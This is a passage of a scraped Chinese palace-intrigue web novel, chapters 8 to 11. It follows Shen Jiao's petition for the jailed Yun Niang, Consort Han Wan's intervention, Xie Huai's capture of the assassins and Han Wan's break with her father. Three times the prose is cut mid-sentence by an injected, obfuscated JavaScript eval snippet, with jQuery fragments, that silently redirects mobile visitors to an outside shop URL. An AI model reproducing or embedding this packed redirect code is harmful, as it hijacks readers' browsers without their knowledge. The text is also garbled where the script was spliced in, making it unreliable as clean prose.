为此不惜还布设计谋惊动了圣上，使刑部顺理成章地参与到了此案的审理中。 只是不知派来的人是谁，若知晓其身份，便也可知当年刑部中设计谋害她父亲的官员是谁。 沈皎让翠蕊取来诉状，为她更衣梳妆。 马车停在承天门外，两人下了马车。翠蕊走到登闻鼓前，执起鼓槌，用力敲了起来。 震耳欲聋的鼓声盘旋在皇宫上空，久久不散。 空旷的宫门外，不多时便围过来了一大堆看热闹的人。 监门卫命宫门口的禁卫走上前，将击鼓之人唤来。 翠蕊停下动作，放下鼓槌。 8. 第 8 章 长乐宫前洒扫的太监和宫女停下手中的活计，皆望向宫门的方向。 沉嫣端着一碗八宝攒汤，见众人心思飘远，轻声呵斥道：“都停下做什么？” 几人闻言，忙回过神：“我们知错了，还请沉嫣姑姑莫怪。” 沉嫣走进殿内，掀起珠帘放下汤点，劝道：“娘娘，您都抄了一上午，滴水未进，也该歇歇了，先喝点东西吧。” 窗边的女子素面朝天，青丝用一支玉簪松松挽住，穿着一身烟紫色长裙，举止娴雅，贵气浑然天成。 “我不渴，你喝吧。” 沉嫣也不拘礼，舀起喝了一口。若有所思地望着手中的八宝攒汤，想起了芸娘以前最喜欢喝这个八宝攒汤，睹物伤情发起了牢骚。 “去岁年关时芸娘倒是请人捎来过信说她成亲了，夫君也十分敬重她，待她极好，不知现在在宫外怎么样了。” 听沉嫣这般说，韩莞也想起了芸娘。 沉嫣和芸娘自她进宫时便从内务府被调来了长乐宫服侍她，尽心又尽力，性情也和顺，私下并未将两人当婢女对待。 芸娘以往在宫中受王振逼迫欺辱，如今出宫恢复了自由身，远离了这是非之地没有这套繁文缛节拘着，应是自在畅快许多。 韩莞抬起笔，将抄好的佛经放到一旁，又重新铺开一张纸，抄写了几页，望着桌上厚厚的佛经，见抄写得差不多，想起芸娘之前在信中提过现今的居所，三人确是许久未见了。 “过几日恰好要出宫去寺中为母亲上香，顺便前去看看。” 沉嫣喝完汤将桌上的经文整理好，藤纸上面的簪花小楷一笔一画写得极为工整雅致，一看便是花费了大量的时间练就的。 “娘娘的字写得真好看。” 韩莞抄完最后一页，放下笔，轻轻抬眸，似是想起什么，漫不经心问道: “这段时间父亲可曾派人来过？” 沉嫣知韩莞还在因韩庆当年逼迫她入宫之事，耿耿于怀，不愿相见，便每次都寻借口将人打发走了。 “尚书大人和相爷隔三差五便派人来，但都被奴婢找理由应付了过去。” 这般三番五次让人来找她，韩菀微不可闻地皱了皱眉头，联想到宫外的鼓声。 “沉嫣，你去打听下外面发生了何事。” 沉嫣见韩莞面色凝重，转身忙去了。 监门卫待沈皎和翠蕊过来，询问道:“你们两人是有何冤屈要诉？” “民女是为家中表姐前来申冤的，民女的表姐芸娘因被构陷杀人，现如今被关在大理寺狱中，这是诉状。” 沈皎让翠蕊将诉状递上前。 监门卫接过诉状，看完后双眉皱成一道川字，深深地打量沈皎和翠蕊一眼，执笔记录下案情。 “你们且在外等等。” 沈皎道:“有劳大人了。” 翠蕊紧张地站在沈皎身侧，望着监门卫渐行渐远的身影，心头浮上一抹担忧，沈皎身上的伤还未好，身子经不起再度折腾，若触了圣怒，按律是要打四十大板的，又怎么能受得住。 沉嫣出了长乐宫，知找徐进打探消息是最快的，一路疾步走到紫宸殿，刚到殿外就恰好看到徐进在同一个穿着禁军服饰的男子交谈着什么，待那男子离开后，这才出声将人唤住。 “徐公公，留步。” 徐进闻言敛住步子，扭过头，含笑打趣道:“沉嫣姑姑，今儿个什么风居然把您给吹来了。” 沉嫣嘘了一声，示意徐进小声些，环顾四周，见没有宫人经过，随后故作神秘将徐进拉到殿旁。 “徐公公，宫外这是发生何事了？” 沉嫣是韩莞的贴身婢女，这一举动自是得了韩莞的授意，徐进并未打算隐瞒。 “宫外有人敲登闻鼓，说要为一个叫芸娘的表妹申冤，我正要去向陛下禀报此事呢？” 为芸娘申冤？ 沉嫣倒抽口气，以为是自己听岔了，支支吾吾的确认:“可…有说是因何事？” “听说此女因旧怨杀了王振，陛下现已命刑部和大理寺严审此案，现在又有人来申冤，唉。” 沉嫣面色一白，原当作恰巧是同名同姓之人，听到王振的名字后，确认了芸娘的身份，心急火燎道:“多谢徐公公，我先回去了。” 徐进昔日进宫时芸娘已经出宫了，并不识得芸娘。见沉嫣走时脸色有些不太好，只当是身体不适。 沉嫣回到长乐宫，将消息告知给韩莞。 韩莞思量一番，景惠帝素来多疑，既下旨也让刑部参审此案，态度已不言而喻，是顾念旧情为王振做主，只是她不明白，她父亲费尽心机参与到此案中又是为了什么？ “娘娘，现在可怎么办？” 韩莞临危不乱，想着应对之法，芸娘父母亲早年间均已双双过世，以往从未听她提起过她有什么表妹，来人既言称是芸娘的表妹，应与芸娘熟识，当机立断。 “你先去派人将那两位姑娘请到长乐宫来。” “是，娘娘，但若被尚书大人和贵妃娘娘知道…” 沉嫣也十分担忧芸娘，但同样也免不了替韩莞着想，她们如今在宫中的境况算不上安稳。 圣上长年未立后，群臣久奏无果。已在朝中纷纷上折死谏，而宫中只立了韩莞和万贵妃两位妃子，若要立后，便只能在两人中间择立一人。 前者哪怕父女关系再僵，也血浓于水。万贵妃则不同，万贵妃生性善妒，早看韩莞不顺眼了，因韩莞有个在朝中当宰相的伯父平日才收敛着点，明里暗里没少使绊子，现在又正得盛宠，就等着抓韩莞的错处。 “顾不了许多了。” 沉嫣忙携着两个宫人领命而去。 韩莞缓缓从案前起身，唤来门口的宫女，为她梳妆打扮。 “陛下，这是那女子呈来的诉状。” 景惠帝批阅奏折的动作微滞，闻言半眯着眸子，瞥了一眼徐福手中的诉状，淡漠地收回视线。 徐福见状不敢再吱声，虽也觉得王振死有余辜，但天子之意，又岂是他这个奴才能揣测左右的，服侍景惠帝这么长时间，这点有眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858887|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力见自是有的，收回诉状，出了紫宸殿，唤来小太监命小太监去传话，让监门卫将人赶走。 徐福方欲踅回，身后却传来一声温婉的唤声。 “徐公公。” 徐福忙转过身，恭敬地对着韩莞行礼。 “奴才拜见淑妃娘娘。” 沈皎和翠蕊候在宫外，等着消息。只见一个小太监匆匆地跑来，附耳在监门卫耳边说了几句，也不知说了什么，那监门卫听完再看沈皎时，脸色便一下变得冷峭起来。 “来人，将这两人各打四十大板赶走。” “姑娘，快躲我身后。” 翠蕊适才最担心的事还是发生了，四十大板下去，沈皎定会没命，不知该怎么办，只能慌乱地挡在沈皎身前。 沈皎从未对那个多疑昏庸的帝王抱有不切实际的幻想，原想景惠帝哪怕不肯改变主意，也总该传召见她一见，面了圣，她便有机会为芸娘申辩。不料，景惠帝却是连见都不愿见她。 两个禁卫闻令上前，正欲粗鲁地押着两人下去行刑。 “住手。” 沉嫣出声阻止，及时赶到，见沈皎和翠蕊完好无损，心中稍安。 两人看见沉嫣，收回手。 “这两位是淑妃娘娘的客人，淑妃娘娘特派我来请两人过去。”沉嫣正色道。 “这……”赶走两人分明是圣上的意思，他们也不过是奉令行事而已，监门卫顿时为难起来:“若陛下追究起来。” “出了事，我担着便是。” 监门卫两边都不敢得罪，闻言，便松了口。 “两位，请随我来。”沉嫣对两人道。 沈皎和翠蕊举起步子，跟在沉嫣身后，虽不知这位淑妃娘娘为何要帮她们，但侥幸地逃过了一劫。 “不知姑娘怎么称呼？” “姑娘唤我沉嫣便好。” “今日多谢沉嫣姑娘了。” “姑娘不必言谢，倒是我该替芸娘向姑娘道谢才是。” 沈皎想起芸娘之前在宫中做过宫女，未曾想，这位淑妃娘娘会将芸娘看重至此，竟不惜为芸娘违抗圣上。 沉嫣将两人带回长乐宫，宫内却空无一人，韩莞并不在宫中，问了在殿外当值的宫女，才知韩莞去了紫宸殿，安排两人在宫内歇息，命宫人奉茶，等韩莞回来。 沈皎刚在椅子上坐下，沉嫣急不可耐地问起芸娘在宫外的状况。 “姑娘，芸娘如今怎么样了？” 沈皎隐去密信一事，将黑衣人说成王振同伙和芸娘丈夫被杀，以及在狱中遭遇刺杀的事情皆一一告知给沉嫣。 “王振这畜牲，竟敢做出如此灭德立违之事。”沉嫣不忿完，眼眶一红，本以为芸娘摆脱了王振的欺压，出宫后日子至少会比在宫中好过一些，未曾想，还是未能逃过这样的厄运。 “沉嫣姑娘别担心，芸娘已不再寻死了。”沈皎安慰着沉嫣。 沉嫣放下揪着的心，芸娘一生命运多舛，只期冀韩莞能顺利地说动景惠帝救出芸娘，好让她安稳地度过余生。 9. 第 9 章 韩莞让徐福进殿中通报，说有事要求见景惠帝。 “还请娘娘在此稍等片刻。” “有劳徐公公了。” 徐福折回殿中，向景惠帝禀报："陛下，淑妃娘娘求见。" 景惠帝听到韩莞求见，平静的面上微微有一刹那的失神，随即恢复如常，不说见也不说不见。 徐福熟知景惠帝对韩莞的特殊，否则以往也不会每次得了什么新奇玩意，便会让人往长乐宫独送一份，只不过景惠帝日日因国事烦忧，韩莞又性子恬淡，没有那些玲珑心思，加之后面万贵妃进了宫，时间一长，纵然东西照送，去长乐宫的次数却越来越少。 景惠帝一直不语，帝心如渊，徐福屏着气，也不敢深加揣测，恭敬地站在一旁，静候着旨意。 青花缠枝香炉内燃着上好的沉香，殿内清香袅袅，寂若死灰，只有笔落在纸上的窸窣声清晰可闻。 半晌，景惠帝从堆积如山的奏折中微微抬头，思忖一番，本想直接说不见，拒绝的话临至嘴边又改了口。 “说朕忙于公务，改日再去看她。” 徐福忙应了声:“是，奴才这就去回复淑妃娘娘。” 韩莞看到徐福从殿内出来，面上带着几分为难，便知今日景惠帝是不会见她了。 “娘娘，陛下公务繁忙，说现在没空见您，改日在去看您。” 韩莞听着这番托辞:“陛下这会儿既有公务要忙，那我便先不叨扰了。” 说罢，转身离开。 两人话毕，在宫内等了小半个时辰，还未见韩莞回来。 沈皎放下茶盏，心中虽有了推见，却还是期盼这位淑妃娘娘能带回好消息。 沉嫣等得心焦，正欲让宫婢前去打探一番，却听到宫门口传来脚步声，心中的不安散去，欣喜地转过身。 “娘娘，您总算是回来了。” 沈皎抬眸望去，面前的女子面如凝脂，玉软花柔中又带着一丝幽娴的贵气，待女子走进宫中，忙垂下目光同翠蕊起身道谢:“多谢娘娘救命之恩。” 韩莞端量着沈皎，昔日在永州栖身时，去茶楼听书听过不少侠人义士进京为民申冤的事迹，耳濡目染还以为有这份胆气来敲登闻鼓的会是一位义形于色的英雄豪杰，未料到沈皎竟是位弱如扶病的女子，心中不免由衷生出一抹钦佩。 “两位姑娘，不必多礼。” “娘娘，怎么样了？陛下可愿下旨放了芸娘。”沉嫣焦急地问道。 沈皎也敛声屏气看向韩莞。 韩莞神色凝重地摇了摇头，黯然道:“陛下并未见我。” 两人心中的那点希冀顷刻间荡然无存。一时间，宫内的气氛变得沉滞起来。 “陛下不见您，那我们接下来该怎么办？”沉嫣心慌意乱地望着韩莞。 韩莞忖度一番，抬头看向沈皎:“姑娘，既愿冒险来为芸娘申冤，想必知晓此案经过，可否详细告知与我。” 沉嫣闻言，起身屏退宫外的太监和宫女。 沈皎将先前对沉嫣说的又对韩莞说了一遍。 “那黑衣人刺客，可曾查到去处？” “未曾，那黑衣人杀了禁卫后便逃走了，大理寺眼下还未将其捉拿归案。”沈皎道。 韩莞心里计较一番:“陛下感念王振往日的侍奉，有意为王振讨个公道，但王振素日是怎样的人，整个宫内有目共睹，虽大周律例规定杀人案中同谋者也需定罪，陛下让刑部参与此案，应只想尽早为王振讨个公道，王振欺辱芸娘在先，人毕竟说到底也不是芸娘杀的，若大理寺能将真正的凶手捉拿归案，届时便是陛下也无法再说什么，两位姑娘先回去，等着大理寺的消息便是。” 沈皎思前虑后，确实也只能如此了，起身作别。 韩莞让沉嫣去御膳房命人做了一碗八宝攒汤，交给沈皎，请沈皎给芸娘带去，又让沉嫣将两人送出宫。 沉嫣一路引着两人出宫，走到宫门口，深知芸娘脾性，虽听沈皎说芸娘已不再寻死，却仍放心不下。 “劳烦姑娘，见到芸娘后，替我捎一句话，让她好好活着，莫要做傻事。” 沈皎应下，在翠蕊的搀扶下坐上马车，未让车夫先回住处，而是改道前往大理寺。 京中人烟阜盛，一旦有个风吹草动，便会一石激起千层浪，沈皎方才前脚刚敲登闻鼓，后脚此事便在京中传得沸沸扬扬，成了大家茶余饭后津津乐道的话题。 “大人，如今该怎么办？” 谢淮听到沈皎去敲登闻鼓，正欲启唇，一名狱卒形色仓皇地跑进屋中。 “大人，不好了，芸娘在狱中出事了。” 狱卒将韩庆私审芸娘之事禀告谢淮。 韩庆非要进狱中审讯芸娘，对芸娘用刑，狱卒也位卑言轻两边为难，大理寺以往审讯女犯时，切实滥用过酷刑，但此陋习自谢淮继任不喜后，便未再用，用刑恐会遭到谢淮的处罚差事不保，推却又会将奉旨前来审案的韩庆得罪。 “芸娘怎么样了？” “芸娘死不招认她是凶手，那大人便让小人一直用刑。小人手上悠着，未敢下手太重。” 谢淮眸光一凛，为防止韩庆对芸娘不利，一早便下令，不准任何人进狱中见芸娘，殊不知还是防不胜防，命狱卒让人前去请大夫，加派人手看管芸娘。 狱卒离开后，谢淮将思绪又放回到沈皎敲登闻鼓的事上，沈皎应是听到了风声才会冒险去敲登闻鼓，韩丞三番四次欲置芸娘于死地，仍在睥睨窥觎，此案拖得越久越不利，委实该尽快审结了。 马车在大理寺门口停下，沈皎对门口的衙差说明来意。 衙差让两人在府衙外稍候，进去通报。 谢淮听到衙差的话，让两人进来。 沈皎在翠蕊的搀扶下走进屋内，对着谢淮行了一个万福礼。 “民女拜见大人。” “姑娘来寻本官有何事？” “民女想去狱中探望表姐，但狱卒说探望亲属须得获得大人的首肯才行，特来求大人恩准。” 谢淮目光停留在沈皎苍白的面容上，深深地打量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858888|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈皎一眼，未阻拦，也未多问，解下腰间令牌，让衙差递给沈皎。 沈皎接过令牌，感激地道谢:“多谢大人。” 谢淮面色冷寂，闻言，淡淡地嗯了一声，视线从沈皎身上移回到案宗上。 沈皎和翠蕊离开大理寺，坐上马车来到狱前，出示谢淮的令牌，随狱卒进到狱中，让翠蕊去探望陆林几人，她独自携着食盒走向关押芸娘的牢房，狱中弥漫着一股令人作呕的血腥味，来到牢房前，瞳孔一缩。 芸娘虚弱地躺在砖炕上，身上血迹斑斑，皆是被鞭笞过的痕迹。 狱卒将牢门打开，她快步走上前。 “怎么会这样？” 芸娘故作坚强地笑了笑:“是陛下派了人来。我身上的伤瞧着可怕，其实没什么大碍，那狱卒下手并不重。” 沈皎面上的担忧稍缓，细细检查芸娘身上的伤痕，确认都是些皮肉伤，小心翼翼地扶着芸娘坐起身。 打开食盒，取出里面的汤，怕汤凉掉，食盒底部还专门贴心地放了热石，从宫中一路过来，汤还是热的。 芸娘难以置信地凝视着沈皎手中的汤，眼眶不禁一热，知道韩莞和沉嫣的良苦用心，是怕她想不开再寻死。 芸娘如今已没了寻死的念头，只想为死去的夫君讨个公道。 沈皎将在宫中发生的事简要地讲给芸娘。 芸娘抹去眼眶的泪水，对沈皎除了感激还是感激，念起沈皎身上的伤。 “姑娘身上的伤怎么样了？” “将养了两日，已经好多了，对你用刑的那位大人，夫人可知他的身份？”沈皎借机探询。 以她这几日对谢淮的了解，下令的人不可能是他。 “方才听狱卒唤那人韩大人。”芸娘从内务府被调到长乐宫只负责贴身伺候韩莞日常起居，没过多久，便因王振之事离宫了，并不认识韩庆。 “那韩大人急切地想让你认罪，应与杀你夫君的黑衣人是一伙的。”沈皎推测道。 京中人烟辐辏，姓韩的官员不知凡几，眼下大理寺与刑部奉旨共审此案，这位韩大人恰是协审官员之一，她正好能借着回大理寺归还令牌的机会，进去探听消息。 沈皎提着食盒和芸娘作别，同翠蕊坐上马车，吩咐车夫去大理寺。 “陆林他们怎么样了？” 芸娘被刑讯逼供，陆林他们也恐会被殃及。 “陆林他们几人并未受刑。” 看来这位韩大人只是单单冲着芸娘来的。 “那便好。” 沈皎回到大理寺，径直来到谢淮公干的屋子，屋外的衙差却说谢淮有事离开了不在屋中。她将令牌交给衙差，请他转交，见机寻了个由头，佯装忧心忡忡道:“大人，害死我表姐夫的凶犯迟迟未捉拿归案。我忧心得日夜难眠，听说圣上还派了刑部的大人来协审此案，不知派的是刑部的哪位大人，也好让我心安。” 凶犯一直未抓获，焦心亦是人之常情，衙差并未起疑。 “派来的是刑部的韩庆韩大人。” 10. 第 10 章 沈皎探问到消息:“多谢大人。” 芸娘抵死不肯认罪，韩庆因狱卒在场，终究未敢下死手，他欲灭杀手的口，走进牢房，却见牢房内空无一人。询问狱卒，狱卒也不知里面关押的人去了何处，未回大理寺，径直惶然奔向丞相府。 “相爷，人被转移了。” 韩丞夷然自若地抿了一口茶，目光迸射出一股令人胆寒的冷意。 这些死士皆是从昔日边境逃难的流民中挑选出的，既命贱又易掌控，只需抛给他们两贯铜钱，这群饥肠辘辘的人便伏地磕头，将他奉作救苦救难的活菩萨。 豢养死士虽非谋逆大罪，但若别庄被寻到，其中的秘密一旦泄露，让谢淮瞧出端倪，这些年的心血和规划必将付之东流，如此便得不偿失了。 韩庆声音颤抖，心中恐慌不已:“相爷，接下来该如何？” “慌什么？”韩丞申饬一声。 他和谢淮二人在殿外冷脸相对之态，已算是撕破脸皮，换作别的官员，抓进狱中，严刑逼供一番，随意安个罪名，杀了便也罢了，但谢淮不同，以景惠帝对他的宠爱程度，即使谢淮真犯了什么事儿，也只会小惩大诫一下，他摩挲着手中的笔，冷静道:“你先回去继续审案，暗中寻找密信的下落，让那芸娘认罪，莫让人抓到什么把柄。” 谢淮回到府中，换了一身月白色常服，坐着马车，通衢越巷，来到一处人迹罕至的宅院前。 门口的暗卫看到马车上国公府独有的徽记，恭敬地对着从马车上下来的谢淮行礼:“世子。” 谢淮:“人怎么样了？” “人在宅子里关着，宅子四周都有人看守，未发生什么意外。” 黑衣杀手是抓捕黑衣人的关键线索，在韩庆进入大理寺之前，谢淮已秘密将人从狱中转移到了这座宅院内。 谢淮进屋后，还未开口，里面那个五大三粗的男子，红着眼眶，突然跪在了他面前 “大人，我任务失败，那些人定不会放过我妹妹，我妹妹今年才五岁，还是个孩子，只要您能帮我救出妹妹，让我做什么，我都愿意。” 谢淮沉声道:“本官可以答应帮你救妹妹。但你得带本官去抓捕凶犯。” “好，好，我带您去。”听到谢淮应下，男子从地上起身，感激之情溢于言表。 庭院内，寒风骤起，天色突暗。 翠蕊抬起头，见空中阴云密布，好似有雨将至，熬好药后，端进屋中，阖上门窗。 “姑娘，该喝药了。” 沈皎咳嗽一声，听着屋外呼啸而过的风声，放下手中的兵书，伸手接过翠蕊递来的药，仰头咽下又苦又涩的药汁。 “姑娘，你说大理寺能抓到凶手吗？”翠蕊忍不住问道。 沈皎呷了口水，冲淡喉间的涩意，执起帕子，轻轻拭去唇上的药汁，也说不准，茫然地摇了摇头。 幕后之人阴狠狡猾，未能灭掉芸娘的口，想必还会找机会，大理寺若想抓到那日出现在破庙的黑衣杀手，只怕困难重重。 黑云压顶，一场瓢泼大雨悄然而至。 一行人骑着马在官道上驰骋，脱离官道后，又继续冒雨前行了约摸一个时辰。 “到了，大人，前边的别庄就是他们的藏身之处。” 谢淮闻言，勒住缰绳，眯眸望向不远处辽阔的庄院。别庄远离官道，四周童山濯濯，荒无人烟，连飞禽走兽也极为少见，若不是有人引路，要找到具体位置，怕是要花费一番功夫。 暗卫们纷纷下马，迅速上前将别庄团团围住。 众人穿着蓑衣立在别庄前，雨中飘来一股血腥味，因着下雨，血腥味虽被雨水冲淡了许多，但仔细一些依然能嗅到。 男子察觉到异样，冲上前一下又一下心急火燎地砸着门。 “开门，快开门。” 门久久未开，谢淮让暗卫用轻功从墙下翻入，将门闩取下，在门打开后，步入庄院内。 院中的血腥气味更浓郁，横七竖八躺满了尸体，场面惨不忍睹，既有死士的也有穿着麻衣的男子和妇孺。 谢淮俯下身，就近查看尸体身上的伤口，随后挺身下令:“在别庄周围搜，凶手行凶不久，下着雨，应该还未跑远。去屋里看看还有没有生还的人。” “是。” 暗卫闻令，忙分头去了。 天渐渐擦黑儿，暗卫忙活了一个多时辰，将从别庄内搜到的所有东西都从屋内搬了出来。 “世子，凶手剑剑致命没留手，皆是奔着要这些人性命去的，别庄内没有发现生还的人，属下还发现，屋内有打斗和烧毁东西的痕迹。” 谢淮放下手中的砷青铜，淡淡道:“我知道了。” 滂沱大雨中，黑衣人带着几个死士，艰难的在崇山峻岭中跋涉。 其中的一个死士见雨越来越大，道:“首领雨太大了，我们还是先寻个地方避避，等雨停了再去矿地。” “不行，主人吩咐必须在明早之前赶到矿地，别庄已经暴露了，这条路是去往矿地和出山的必经之路，很有可能会有人追来，不能掉以轻心。” 几人说话间，耳畔隐隐绰绰响起一阵马蹄声。 “不好，快走。” 几人纵使警觉性再强，竭力狂奔，也比不上马的速度，没一会便被追上了。 暗卫们一路循着地上的脚印追上来，将几人围住。 为首的暗卫叮嘱道:“小心他们服毒自尽，他们牙里藏着毒药，世子要活的。” “是。” 几人先前经过一场大战，又在山中冒雨徒行，体力损耗大半，很快便落了下风，被抓住了。 暗卫制伏几人后，为防止几人服毒自尽，径直劈手打晕了几人。 别庄内，男子抱着一瘦弱女童的尸体，双眸赤红，悲恸欲绝。 谢淮命人将地上的东西搬回去，走到男子身侧，地上的女童手中握着一只草编的蚂蚱，已没了气息，平静道:“节哀。” 男子眸中浮出一抹绝望，一不做二不休，手疾眼快地捡起地上的武器，出其不意挟制住谢淮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858889|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的暗卫见状，呼吸一滞，纷纷拔出武器，围住男子，怒斥出声:“放开世子。” 谢淮敛眸望着横在脖颈前的锋利刀刃，临危不惧，似是知晓眼前的人不会对自己做什么，出言规劝:“你现在莽撞前去，非但杀不了凶手，反而只会白白去送死。” 男子悲痛的面容瞬时变得狰狞起来，理智已被仇恨吞噬，克制力道，将刀往前压了压，无视谢淮的劝说。 “大人，我能看出来您和那些只会鱼肉百姓的贪官污吏不一样，您只要告诉我凶手是谁，其他的事无需您操心。” 谢淮正欲启唇，庄外响起了一阵马蹄声。 众人目光皆齐齐望向院门的方向。 暗卫将几人抬进来，粗鲁地扔在地上。 “世子，幸不辱命，凶手抓到了。” 男子望向地上的黑衣人，认出几人，移开横在谢淮颈前的刀，不管不顾地提剑上前，便要杀了几人为他妹妹偿命。 谢淮见状，下令阻挠:“拦住他。” 暗卫们站成一列，拦住男子，不让男子继续往前。 谢淮沉声道:“这几人按大周律法，已是死罪，你杀了他们，会让自己罪上加罪，加上先前杀人未遂的罪名，便再无翻案的机会。” 男子理智回笼，放下手中的刀，诧异地望着谢淮。 谢淮不再看面前的人，未计较方才之事，吩咐将几人绑起来，待雨停后，再让暗卫们在庄院前的空地上凿好坑，将院内的尸体尽数安葬。 韩菀忖度一番，此案与韩父应有莫大的关系，将佛经装入木匣内:“沉嫣，你差人去告诉父亲，就说我长时间未见父亲，甚是想念，请他进宫一趟。” “是，娘娘。” 沉嫣唤来宫人，吩咐她前去尚书府传话。 一道身影在柱子后将这一切尽收眼底，宫人刚一走，悄无声息地飞奔到凤栖宫，将这个消息告知给面前的女子。 “娘娘，奴才亲耳听到，那宫人出宫去尚书府了。” 女子生了一张尽态极妍的脸，身着鸾鸟朝凰衣，慵懒地倚在贵妃椅上，从盘中伸手捻起一颗宫女剥好的荔枝，闻言，丹凤眼中闪过一丝冷意:“哦？可听到那宫人为何去了尚书府？” 小宫女颤颤巍巍道:“奴才离得太远，没听到。” 女子命身旁的贴身嬷嬷塞给她一锭银子，挥了挥手，让面前的人退下。 周嬷嬷上前道:“贵妃娘娘，虽说这些日子，陛下都宿在您这里，但淑妃娘娘背后有韩相的支持，还是不得不防。” “怕什么？”万贵妃语露不屑，未把韩莞放在眼里，将荔枝放入口中，不以为然道:“听说韩莞昨日为了个宫女去紫宸殿求见陛下，陛下连见都未见她。” “话虽如此，近日朝臣一直在奏请陛下立后之事，大人也在朝中为您奔走，在这节骨眼上，若出了差错，那便前功尽弃了。” 万贵妃漫不经心道:“既入了这宫中，便再也不是为自己而活，本宫不会再心慈手软让韩莞有任何翻身的机会。” 11. 第 11 章 云消雨散，已至掌灯时分，暖意扑面，屋中的炭火惹得人昏昏欲睡。 翠蕊将汤婆子塞入铺好的被褥中，困意来袭，伸腰打了个哈欠:“姑娘，该安歇了。” 沈皎端坐在窗前，毫无睡意，借着烛光，手中捧着那本简断编残的兵书，目不转睛地将书轻轻掀过一页:“我不困，你先去睡吧。” 翠蕊正欲回屋歇息，屋外突然传来一阵叩门声，登时睡意全无，警惕地望向门口，镇定道：“谁？” “是我，翠蕊姑娘。” 来人自报家门，翠蕊压下心中震惊，听到陆林的声音，这才打消戒心，踱步上前打开门。 沈皎听见院中两人的交谈声，疑云满腹，不知谢淮为何忽地将陆林放了回来。 待陆林携着一股寒气推开门走进屋中，她收回思绪放下手，先让翠蕊倒了杯热茶递了过去。 陆林饮了几口茶，驱走身上一路沾上的寒意:“姑娘，谢世子抓到了杀死王振和芸娘的凶手，便将我们几人都放了，两位大哥回去前，让我转告姑娘若日后仍有需要他们之处，尽管吩咐便是。” 沈皎未料到，谢淮居然真的抓住了凶手。闻言，心中不胜感激，自她父亲离世后，合州军中许多人对朝廷深感失望，不愿再为这腐朽的朝廷卖命，纷纷解甲归田，另一些人则因生计所迫，无奈接受了朝廷的收编，致使合州军成了一盘散沙，对于两人的恩情，她无以为报，只能待日后再寻机会报答。 “你先回屋休息吧，这些日子辛苦你了。” “是，姑娘。” 三人能平安从狱中出来，已是万幸，陆林离开后，沈皎眉眼间的忧愁并未散去，反而更深了些许。 翠蕊困惑不解，凶手已被擒获，芸娘也有救了，按理说沈皎应该满心欢喜才是，可此刻望着她眉头深锁、忧心忡忡的模样，心底却百思不得其解。 “姑娘，你怎么了？” 沈皎听出翠蕊话中的关切:“我没事。” 黑衣人被抓到，固然是好事，但韩庆有人在朝中相助，却并不容易对付。 暮色四合中，韩莞让宫人点上灯，不多时，耳畔响起一阵脚步声。 来人携着漆盒，姗姗来迟，踱步进宫中，恭敬地行礼:“臣拜见娘娘。” 韩莞出声让宫人赐座，屏退里外的宫人。 韩庆将漆盒递给沉嫣，在椅子上坐下，嘘寒问暖道:“娘娘在宫中可好？” 自韩莞进宫后，两人的父女关系便一度闹得极僵，这次有可能会成为两人之间缓和关系的一个契机，韩庆语气中明显带着一丝喜色。 “劳烦父亲大人挂念，女儿一切安好，女儿唤父亲来是想问父亲一件事，父亲可与那些杀死芸娘夫君的黑衣人有关？”韩莞语带试探，旁敲侧击将心底的疑惑问出口。 韩庆今日在街巷听到众人的议论，以韩莞的聪慧，一旦露出马脚，定会让她察觉跷蹊:“为父奉旨督办此案，那些黑衣人为父如何会相识，娘娘识得此妇人？” 韩莞虽性子淡泊，久居宫中，但不代表她真的不闻世事，她深知她这个父亲，为了权势一向不择手段，自然不信这一番饰词，并未说穿，将她与芸娘的关系道明:“女儿与芸娘乃是金兰契友，想让父亲行个方便，为她的案子多尽些心。” 韩庆挖空心思想灭芸娘的口，自是不可能应下，佯装情真意切道:“陛下下旨严查此案，芸娘犯下命案，证据确凿，此案为父也是有心无力。” 韩莞闻言，彻底心灰意冷，本以为这几年过去，面前之人会抚躬自问，悬崖勒马，没想到再见他还是如此顽钝固执，甚至到黑白不分的地步。 “父亲，当真要这般一错再错？” 见面前的人默不作声，她乘机宣泄出心中的怨恨与不满，索性将话说开。 “当年，父亲为平步青云，不顾我意愿，以性命相逼强迫我入宫之时，也是这般"不通情理"，芸娘之事我不会再让步，若父亲执意如此，那便休怪我不顾念父女之情。” 韩庆见韩菀为护芸娘，不惜要同他断绝关系，面上满是失望与愤怒。 “你为了一个无关紧要之人，竟要与血浓于水的父亲翻脸？” 韩莞无力地哽着声音:“在永州时，父亲便教导我做人要坦荡无愧于心，如今，父亲却将这些全忘了…” 韩庆已经回不了头，也不能回头，无情打断韩莞的话:“臣还是那句话，此案臣爱莫能助。娘娘若非要相帮外人，日后便就当没我这个父亲吧。” 